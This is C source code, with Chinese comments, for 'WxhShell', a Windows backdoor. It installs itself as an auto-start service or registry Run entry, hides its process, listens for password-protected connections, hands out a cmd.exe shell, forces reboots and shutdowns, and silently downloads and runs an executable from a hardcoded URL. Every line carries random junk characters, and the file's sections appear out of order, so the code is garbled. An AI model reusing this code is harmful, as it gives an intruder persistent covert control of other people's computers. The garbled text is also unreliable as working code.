    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a9Vi];  
    else { Y0> @vTUX  
    closesocket(wsh); r_d! ikOT(  
    ExitThread(0); SX#&5Ka/  
    } ^rz_f{c]-  
    break; C# pjmT_  
    } /_.|E]  
  // 获取shell IGgL7^MF  
  case 's': { ,: ^u-b|  
    CmdShell(wsh); ~"bV L[  
    closesocket(wsh); *^r}"in  
    ExitThread(0); o;*Q}Gr<M  
    break; g2]Qv@nxw  
  } u@444Vzg  
  // 退出 $Kd>:f=A  
  case 'x': { ]###w;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mZBo~(}  
    CloseIt(wsh); @+DX.9  
    break; DfB7*+x{  
    } d_ CT $  
  // 离开 VaPG-n>Vf  
  case 'q': { eH,or,r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A(XKyEx  
    closesocket(wsh); j1Ezf=N6`  
    WSACleanup(); /V By^L:  
    exit(1); ABkl%m6xf  
    break; "jCu6Rjd  
        } < Z$J<]I  
  } 3gzXbP,  
  } yQrD9*t&g  
^sZ,2,^  
  // 提示信息 vD4*&|8T#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5R7DDJk  
} ( 5~h"s  
  } 1x^GWtRp  
!m$jk2<  
  return; ,,TnIouy  
} $ Q0n  
31)&vf[[  
// shell模块句柄 fy$1YI>!Q  
int CmdShell(SOCKET sock) Kpp_|2|@<  
{ `h;[TtIX4  
STARTUPINFO si; >sbu<|]a 7  
ZeroMemory(&si,sizeof(si)); S>{~nOYt-`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =c7;r]Ol  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V8(-  
PROCESS_INFORMATION ProcessInfo; pot~<d`:K"  
char cmdline[]="cmd"; ce(#2o&`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :EyD+!LJ  
  return 0; %)n=x ne  
} lfg6646?S  
WhDJ7{D  
// 自身启动模式 Zc2PepIg  
int StartFromService(void) 0YHFvy)  
{ Dh*n!7lD`  
typedef struct g&.=2uP  
{ 0IpmRH/  
  DWORD ExitStatus; r*Xuj=  
  DWORD PebBaseAddress; 28nFRr  
  DWORD AffinityMask; SAz   
  DWORD BasePriority; =">NQ)98u  
  ULONG UniqueProcessId; j!ch5A  
  ULONG InheritedFromUniqueProcessId; F!do~Z  
}   PROCESS_BASIC_INFORMATION; i9$ Av  
$8FUfJ1@  
PROCNTQSIP NtQueryInformationProcess; snJ129}A  
7o4\oRGV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3a|\dav%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T;#FEzBz  
Wjc'*QCPl  
  HANDLE             hProcess; e# bn#  
  PROCESS_BASIC_INFORMATION pbi; g=rbPbu  
c%&>p||  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IK]d3owA  
  if(NULL == hInst ) return 0; y}H!c;  
\Cj B1] I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7 d vnupLh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `x|?&Ytmf9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +n)9Tz5  
(#'>(t(4  
  if (!NtQueryInformationProcess) return 0; ;\]@K6m/Ap  
g+l CMW\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rs.)CMk53  
  if(!hProcess) return 0; o}!PQ#`M  
ME dWLFf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UI#h&j5pW  
W4N{S.#!  
  CloseHandle(hProcess); F5Va+z,jg  
+qoRP2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n|;Im&,  
if(hProcess==NULL) return 0; M?qy(zb  
$u.z*b_yy  
HMODULE hMod; D]}G.v1  
char procName[255]; {8OCXus3m  
unsigned long cbNeeded; |^aKs#va  
]{iQ21`a-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #*}+J3/  
"}!G!k:  
  CloseHandle(hProcess); ?8$Q-1=  
]-q;4.  
if(strstr(procName,"services")) return 1; // 以服务启动 #F#%`Rv1  
nK,w]{<wG!  
  return 0; // 注册表启动 hQ i2U  
} KSvE~h[#+  
ys~x $  
// 主模块 6 r"<jh#  
int StartWxhshell(LPSTR lpCmdLine) HDLk>_N_s,  
{ putrSSL}  
  SOCKET wsl; ?EL zj  
BOOL val=TRUE; c:0L+OF}xY  
  int port=0; JO;Uus{?  
  struct sockaddr_in door; w@b)g  
(?c-iKGc  
  if(wscfg.ws_autoins) Install(); OH88n69  
Z7#+pPt!  
port=atoi(lpCmdLine); N0lC0 N?_J  
eJSxn1GW  
if(port<=0) port=wscfg.ws_port; ,^:.dFH6  
[~^0gAlQC  
  WSADATA data; <!+Az,-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T |p"0b A  
yZRzIb_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N$DkX)Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VnzZTG s  
  door.sin_family = AF_INET; d@^ZSy>L2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sRW<me;  
  door.sin_port = htons(port); K8~d^G  
+:f"Y0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hc1N ~$3!G  
closesocket(wsl); `gJ(0#ac  
return 1; Gq6*SaTk  
} TJN4k@\$2  
Si7*& dw=  
  if(listen(wsl,2) == INVALID_SOCKET) { aYeR{Y]  
closesocket(wsl); JLYi]nZ  
return 1; ]yu:i-SfP  
} \lY_~*J  
  Wxhshell(wsl); ebq4g387X  
  WSACleanup(); ;*N5Y}?j'  
),)lzN%!  
return 0; <GJbmRc|  
m[$_7a5  
} Bwrx*J  
/{[o ~:'p  
// 以NT服务方式启动 mR~&)QBP.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [Zrr)8A  
{ XG?8s &  
DWORD   status = 0; Fs{*XKv&lH  
  DWORD   specificError = 0xfffffff; omFz@  
@7u0v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [m -bV$-d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \GBuWY3B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [RL9>n8f  
  serviceStatus.dwWin32ExitCode     = 0; >sF)Bo Lc  
  serviceStatus.dwServiceSpecificExitCode = 0; 4 :v=pZ  
  serviceStatus.dwCheckPoint       = 0; edD)TpmE,  
  serviceStatus.dwWaitHint       = 0; 5N]"~w*  
jylD6IT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ye97!nIg@  
  if (hServiceStatusHandle==0) return; RNL9>7xV  
"|NI]Kv  
status = GetLastError(); wq{hF<  
  if (status!=NO_ERROR) xoL\us`A  
{ +mPx8P&%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -/4P3SG/  
    serviceStatus.dwCheckPoint       = 0; 3'Rx=G'  
    serviceStatus.dwWaitHint       = 0; yVfC-Z   
    serviceStatus.dwWin32ExitCode     = status; {I ((p_  
    serviceStatus.dwServiceSpecificExitCode = specificError; %xW"!WbJ|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'R)Tn!6  
    return; vI?, 47Hj+  
  } "7 yD0T)2  
l}h!B_P'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zCA2X !7F  
  serviceStatus.dwCheckPoint       = 0; m'U0'}Ld};  
  serviceStatus.dwWaitHint       = 0; y7{?Ip4[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h1RSVp+?n  
} 54,er$$V  
pCDmXB  
// 处理NT服务事件,比如:启动、停止 W)/#0*7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5G#n"}T  
{ ^q&x7Kv%  
switch(fdwControl) F@t3!bj9  
{ <b.D&  
case SERVICE_CONTROL_STOP: B?QIN]  
  serviceStatus.dwWin32ExitCode = 0; s.rm7r@ #  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b>W %t  
  serviceStatus.dwCheckPoint   = 0; R_KH"`q  
  serviceStatus.dwWaitHint     = 0; $qiya[&G4  
  { 9sP0D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #tHK"20  
  } c L]1f  
  return; ~u{uZ(~  
case SERVICE_CONTROL_PAUSE: SM '|+ d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bcyzhK=  
  break; 1 zZlC#V  
case SERVICE_CONTROL_CONTINUE: ]5O~+Nf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =]t|];c%  
  break; ]'cs.  
case SERVICE_CONTROL_INTERROGATE: gR**@t=;j  
  break; DXo|.!P=3  
}; #E?4E1bnB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J,hCvm  
} mw!F{pw  
'91/md5  
// 标准应用程序主函数 29rX%09T]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pmM9,6P4@  
{ SBpL6~NW  
H|*m$| $,  
// 获取操作系统版本 4 5e~6",  
OsIsNt=GetOsVer(); RN1_S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y73C5.dNcE  
:h$$J lP  
  // 从命令行安装 _w{Qtj~s|  
  if(strpbrk(lpCmdLine,"iI")) Install(); !VJoM,b8  
$ `c:&  
  // 下载执行文件 9Na$W:P c  
if(wscfg.ws_downexe) { @F eTz[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "[k3kAm  
  WinExec(wscfg.ws_filenam,SW_HIDE); #R"*c hLV  
} p?!/+  
. vV|hSc  
if(!OsIsNt) { |=w@H]r  
// 如果时win9x,隐藏进程并且设置为注册表启动 y `UaB3q  
HideProc(); q'DW~!>qX  
StartWxhshell(lpCmdLine); BLttb  
} R5D1w+  
else XUYtEf  
  if(StartFromService()) pkzaNY/q  
  // 以服务方式启动 x4 yR8n(  
  StartServiceCtrlDispatcher(DispatchTable); pb}*\/s  
else \bcLiKE{  
  // 普通方式启动 KwS@D9bok  
  StartWxhshell(lpCmdLine); tc! #wd+u  
uYN`:b8  
return 0; WLT"ji0w2  
} Tx D#9]Q`  
2 nCA<&  
6'/ #+,d'  
D^O@'zP=At  
=========================================== y0#2m6u  
[6fQ7uFMM8  
=euni}7a  
+rd+0 `}C  
yAt ^;  
[~HN<>L@C  
" W4S,6(  
<YY14p  
#include <stdio.h> WcAkCH!L  
#include <string.h> *pq\MiD/  
#include <windows.h> QV!up^Zso  
#include <winsock2.h> 2ESo2  
#include <winsvc.h> >A= f 1DF  
#include <urlmon.h> r; {.%s7  
RP"kC4~1  
#pragma comment (lib, "Ws2_32.lib") aOp\91  
#pragma comment (lib, "urlmon.lib") wT@og|M  
icgfB-1|i  
#define MAX_USER   100 // 最大客户端连接数 l **X^+=$  
#define BUF_SOCK   200 // sock buffer dH!*!r>  
#define KEY_BUFF   255 // 输入 buffer U6K|fY N`  
~ }P,.QQ  
#define REBOOT     0   // 重启 &ncvGDGi  
#define SHUTDOWN   1   // 关机 XSRsGTCC=  
AH^/V}9H  
#define DEF_PORT   5000 // 监听端口 I,tud!p`  
{ FkF  
#define REG_LEN     16   // 注册表键长度 &Jj<h: *  
#define SVC_LEN     80   // NT服务名长度 /wp6KXm  
`3pW]&  
// 从dll定义API 'DR!9De  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eFgA 8kY)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7dWS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qPNR`%}Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R_C)  
_f83-':W6  
// wxhshell配置信息 ^('wy};  
struct WSCFG { %EH)&k  
  int ws_port;         // 监听端口 &~CI<\o P  
  char ws_passstr[REG_LEN]; // 口令  ];m_4  
  int ws_autoins;       // 安装标记, 1=yes 0=no L0,'mS  
  char ws_regname[REG_LEN]; // 注册表键名 2G7Wi!J  
  char ws_svcname[REG_LEN]; // 服务名 COlqcq'qAu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *@5@,=d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9;{C IMg&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 as|<}:V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IxU/?Zm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0B2t"(&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4x34u}l  
%J(:ADu]  
}; I9Xuok!0>=  
ye&;(30Oq  
// default Wxhshell configuration 9*g Z-#  
struct WSCFG wscfg={DEF_PORT, @JMiO^  
    "xuhuanlingzhe", C+$#y2"z#n  
    1, $4LzcwG  
    "Wxhshell", {) XTk &"  
    "Wxhshell", 79gT+~z   
            "WxhShell Service", N8jIMb'<  
    "Wrsky Windows CmdShell Service", C dn J&N{  
    "Please Input Your Password: ", u 9e@a9c  
  1, K+eM   
  "http://www.wrsky.com/wxhshell.exe", js(pC@<q5  
  "Wxhshell.exe" .('SW\u-  
    }; Z@HEj_n  
[txE .7p  
// 消息定义模块 B#A6v0Ta  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -@'FW*b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Lbgi7|&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wr 4,YQM  
char *msg_ws_ext="\n\rExit."; XFl 6M~ c  
char *msg_ws_end="\n\rQuit."; }bxs]?OW>  
char *msg_ws_boot="\n\rReboot..."; h p1Bi  
char *msg_ws_poff="\n\rShutdown..."; <'u'#E@"sl  
char *msg_ws_down="\n\rSave to "; X'ag)|5ot  
#qki  
char *msg_ws_err="\n\rErr!"; y29m/i:  
char *msg_ws_ok="\n\rOK!"; IGl9 g_18  
M`_0C38  
char ExeFile[MAX_PATH]; J.a]K[ci  
int nUser = 0; x2xRBkRg=  
HANDLE handles[MAX_USER]; V3Bz Mw\9r  
int OsIsNt; [agMfn  
,tFg4k[  
SERVICE_STATUS       serviceStatus; YK_ 7ip.a[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rcuz(yS8  
1 MFbQs^  
// 函数声明 x}4q {P5$  
int Install(void); )0`C@um  
int Uninstall(void); hN_]6,<\  
int DownloadFile(char *sURL, SOCKET wsh); X|dlt{Gf   
int Boot(int flag); yi[x}ffdE  
void HideProc(void); Rq-ZL{LR7  
int GetOsVer(void); ]Wup/o  
int Wxhshell(SOCKET wsl); z{q`GwW  
void TalkWithClient(void *cs); U{mYTN*:j$  
int CmdShell(SOCKET sock); $ nb[GV  
int StartFromService(void); UMi~14& ;  
int StartWxhshell(LPSTR lpCmdLine); W?& %x(6M  
tQVVhXQ7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^iA9%zp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7V>M]  
X w1*(ffk  
// 数据结构和表定义 *~`(RV  
SERVICE_TABLE_ENTRY DispatchTable[] = h[ ZN+M  
{ i8p6Xht  
{wscfg.ws_svcname, NTServiceMain}, jXJyc'm7  
{NULL, NULL} 6BlXLQ,8q  
}; JF]JOI6.e  
sO Y:e/_F  
// 自我安装 A/(a`"mK|'  
int Install(void) _c07}aQ ],  
{ (FV >m  
  char svExeFile[MAX_PATH]; (7Qo  
  HKEY key; hH.G#-JO  
  strcpy(svExeFile,ExeFile); ~*7]r`6\@  
GgU/ !@  
// 如果是win9x系统,修改注册表设为自启动 SbZ6t$"  
if(!OsIsNt) { [g,}gyeS(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \V:^h [ad  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z?zL97H  
  RegCloseKey(key); >_} I.\ X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }H2 R3icE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qs6aB0ln  
  RegCloseKey(key); 3|7QU ld  
  return 0; %<5'=t'|-U  
    } |Tw~@kT@  
  } AA_%<zK  
} 7)m9"InDI  
else { 1C.VnzRnJ  
:UdF  
// 如果是NT以上系统,安装为系统服务 }Z>)DN=+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `oJ [u:b  
if (schSCManager!=0) 2%1hdA<  
{ )u">it+  
  SC_HANDLE schService = CreateService *hrd5na  
  ( sLFl!jX  
  schSCManager, [aS*%Heu  
  wscfg.ws_svcname, hZ3bVi)L\  
  wscfg.ws_svcdisp, E`q_bn  
  SERVICE_ALL_ACCESS, #$vEGY}1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8L XHk l  
  SERVICE_AUTO_START, :gT4K-O j  
  SERVICE_ERROR_NORMAL, E7hhew  
  svExeFile, zDp2g)  
  NULL, Z)!C'cb  
  NULL, J4utIGF  
  NULL, :N@^?q{b  
  NULL, B!yr!DWv  
  NULL 3T 9j@N77  
  ); -&f$GUTJ  
  if (schService!=0) |{;G2G1[  
  { q4q6c")zp  
  CloseServiceHandle(schService); VQI 3G  
  CloseServiceHandle(schSCManager); K,]=6 Rj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R+|hw;  
  strcat(svExeFile,wscfg.ws_svcname); Vi}_{ Cy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g`^x@rj`E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .hiSw  
  RegCloseKey(key); -di o5a  
  return 0; 0c &+|> !  
    } e )ZUO_Q$  
  } AGno6g  
  CloseServiceHandle(schSCManager); Y7nvHU|+o  
} _wcNgFx  
} BY*Q_Et  
E4!Fupkpf  
return 1; %\DX#.  
} GfG|&VNlz  
'S~5"6r  
// 自我卸载 ~ 1pr~  
int Uninstall(void) S'14hk<  
{ Qd6FH2Pl  
  HKEY key; edV\-H5<  
+V+a4lU14  
if(!OsIsNt) { /=h` L ,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zQA`/&=Y  
  RegDeleteValue(key,wscfg.ws_regname); *A< 5*Db:F  
  RegCloseKey(key); F?cK- .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -N@|QK>  
  RegDeleteValue(key,wscfg.ws_regname); y]im Z4{/  
  RegCloseKey(key); +RXoi2"-q@  
  return 0; Wm|lSisY  
  } eFAnFJ][L  
} "j-CZ\]U|  
} r/sNrB1U"y  
else { U&xUfBDt  
H-%v3d>3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q=G+Tocv  
if (schSCManager!=0) G`zm@QL  
{ .2pK.$.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ah<+y\C  
  if (schService!=0) $"&JWT!#  
  { {)"vN(mX  
  if(DeleteService(schService)!=0) { xpI wrJO  
  CloseServiceHandle(schService); P$sxr  
  CloseServiceHandle(schSCManager); {T8Kk)L  
  return 0; m68*y;#  
  } zVD:#d% b  
  CloseServiceHandle(schService); S$k&vc(0  
  } 2(nlJ7R  
  CloseServiceHandle(schSCManager); fLVAKn  
} bfO=;S]b!  
} `kr?j:g  
a> )f=uS  
return 1; w:l"\Tm  
} P_dJZ((X  
nd(S3rct&  
// 从指定url下载文件 .KC ++\{HE  
int DownloadFile(char *sURL, SOCKET wsh) qVPeB,kIz  
{ rbQR,Nf2x  
  HRESULT hr; CNIsZ v@Q  
char seps[]= "/"; RL<c>PY  
char *token; Ha ]YJ}  
char *file; 5?L<N:;J_  
char myURL[MAX_PATH]; KU;9}!#  
char myFILE[MAX_PATH]; d1kJRJ   
xCKRxF  
strcpy(myURL,sURL); 0g\(+Qg^  
  token=strtok(myURL,seps); [r-p]"R  
  while(token!=NULL) 1sCR4L:+  
  { <ih[TtZ  
    file=token; -![|}pX  
  token=strtok(NULL,seps); /@Zrq#o zx  
  } v3qA":(w+(  
b6M  
GetCurrentDirectory(MAX_PATH,myFILE); *' X3z@R  
strcat(myFILE, "\\"); s <Fl p  
strcat(myFILE, file); Kg$ Mx  
  send(wsh,myFILE,strlen(myFILE),0); `W-Fssu  
send(wsh,"...",3,0); N<-Gk6`C/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FC*[*  
  if(hr==S_OK) wAd9  
return 0; B ZxvJQ  
else fT{Yg /j  
return 1; D6^6}1WI  
H|D.6^  
} +"6`q;p3)  
l(q ,<[O  
// 系统电源模块 nOz.G"  
int Boot(int flag) -^57oU  
{ qw8Rlws%  
  HANDLE hToken; n(|^SH4$b  
  TOKEN_PRIVILEGES tkp; %IRi1EmN8  
o]:9')5^  
  if(OsIsNt) { 4&f3%eTi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0RK!/:'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LK"69Qx?5q  
    tkp.PrivilegeCount = 1; *4Izy14e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yZ`wfj$Jj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y<rU#Z#T  
if(flag==REBOOT) { Uwi7)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T#)P`q  
  return 0; A9JdU&  
} ]tDDq=+v  
else { ~,~eoW7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k'"%.7$U!  
  return 0; {GO#.P"  
} +{U cspqM  
  } x;')9/3  
  else { qv*^fiT  
if(flag==REBOOT) { e]tDy0@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7= DdrG<  
  return 0; >U3cTEs cj  
} RGU\h[  
else { r4f~z$QK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5D l/aHb  
  return 0; CA#,THty  
} Bw{I;rW{2  
} #=v~8  
h*Pc=/p  
return 1; &f;K}W O  
} 5^KWCS7@  
#V}IvQl|  
// win9x进程隐藏模块 p^u:&Quac  
void HideProc(void) 4g7)iL^#~  
{ Y#3c }qb  
VYhbx 'e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |a%Tp3Q~  
  if ( hKernel != NULL ) 0AV c  
  { \_U$"/$4VH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z: 7fV5b(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TuYCR>P[  
    FreeLibrary(hKernel); #!m.!? O  
  } (3&?wy_l  
-)/$M(Pu"  
return; h65-s  
} -Vhw^T1iV  
&=k,?TJO>  
// 获取操作系统版本 =kqt   
int GetOsVer(void) fg{n(TE"8  
{ X~i<g?]  
  OSVERSIONINFO winfo; hiw|2Y&`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pO.2<  
  GetVersionEx(&winfo); 8h4'(yGQQW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yir [!{  
  return 1; gl_^V&c  
  else TNr :pE<  
  return 0; BV+ Bk+  
} S/I/-Bp~  
(2 a`XwR  
// 客户端句柄模块 :Xd<74Nu  
int Wxhshell(SOCKET wsl) .y,0[i V N  
{ ~| 6[j<ziL  
  SOCKET wsh; K}U-w:{  
  struct sockaddr_in client; WSY}d Vr  
  DWORD myID; Zoc0!84<z  
EUgs6[w 4  
  while(nUser<MAX_USER) zZC9\V}R  
{ V,?yPi$#E  
  int nSize=sizeof(client); - FlzEZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ED& `_h7?  
  if(wsh==INVALID_SOCKET) return 1; / Qk4  
kn"(A .R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mo#04;VF  
if(handles[nUser]==0) gOOPe5+ J  
  closesocket(wsh); Vl!6W@g  
else (NnH:J`  
  nUser++; t>B;w14  
  } 19KQlMO.G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9]wN Bd  
m7>JJX3=<  
  return 0; [\b 0Lem  
} ")HFYqP>9  
~<OSYb  
// 关闭 socket L`EBfz\n  
void CloseIt(SOCKET wsh) )Iq<+IJ  
{ :Qf '2.h)  
closesocket(wsh); w(TJ*::T  
nUser--; QW~1%`  
ExitThread(0); V}NbuvDB@  
} 'anG:=  
lR6x3C H@  
// 客户端请求句柄 p Q<Y:-`c  
void TalkWithClient(void *cs) ig':%2V/  
{ 5j-YM  
_Z,\Vw:\F  
  SOCKET wsh=(SOCKET)cs; {3{"8-18  
  char pwd[SVC_LEN]; ^B 2 -)  
  char cmd[KEY_BUFF]; M_w<m  
char chr[1]; `P;s 8~  
int i,j; 7;(UF=4  
\`\ZTZni  
  while (nUser < MAX_USER) { B i<Q=x'Z;  
DXK}-4"\  
if(wscfg.ws_passstr) { JOim3(5?s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A:9?ZI/X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '1)$'   
  //ZeroMemory(pwd,KEY_BUFF); Eue~Y+K*b  
      i=0; Z} r*K%  
  while(i<SVC_LEN) { 2oRg 2R}  
B\:%ufd ~  
  // 设置超时 )sp4Ie  
  fd_set FdRead; x`IEU*z#  
  struct timeval TimeOut; %O;bAC_M  
  FD_ZERO(&FdRead); n`&U~s8w  
  FD_SET(wsh,&FdRead); x6ARzH\  
  TimeOut.tv_sec=8; M*H nM(  
  TimeOut.tv_usec=0; u4%Pca9(=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +|89>}w4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oW Nh@C  
tWa) _y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :s6o"VkW  
  pwd=chr[0]; r[Hc>wBv  
  if(chr[0]==0xd || chr[0]==0xa) { t; {F%9j{  
  pwd=0; 'V=P*#|SR  
  break; z4]api(xZ  
  } jc f #6   
  i++; EeRX+BM,  
    } c[1oww  
BV upDGh3  
  // 如果是非法用户,关闭 socket !*. -`$x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V2|aN<Sx<  
} [ $n_6  
qF-@V25P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o/Q;f@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !pdb'*,n  
KOuCHqCfq  
while(1) { 25[I=ZdS  
//<nr\oP  
  ZeroMemory(cmd,KEY_BUFF); ,.1Psz^U  
Y@ksQ_u  
      // 自动支持客户端 telnet标准   qd)/9*|Jl  
  j=0; krvp&+uX  
  while(j<KEY_BUFF) { 6WJ)by  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Yj'oE% \  
  cmd[j]=chr[0]; aAMVsE{  
  if(chr[0]==0xa || chr[0]==0xd) { C-MjJ6D<  
  cmd[j]=0; zvH8^1yzG  
  break; :Ab%g-  
  } T7u%^xm  
  j++; 04l!:Tp,  
    } *P2S6z2  
],a5)kV  
  // 下载文件 TS9|a{j3!  
  if(strstr(cmd,"http://")) { emPM4iG?!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B1C-J/J  
  if(DownloadFile(cmd,wsh)) d]6#m'U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #& Rw&  
  else 1\>^m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [t@Mn  
  } /}  WDU  
  else { ?>rW>U6:P  
~W+kiTsD?  
    switch(cmd[0]) {  &NK,VB;  
  S4Ww5G?.  
  // 帮助 QYjsDL><  
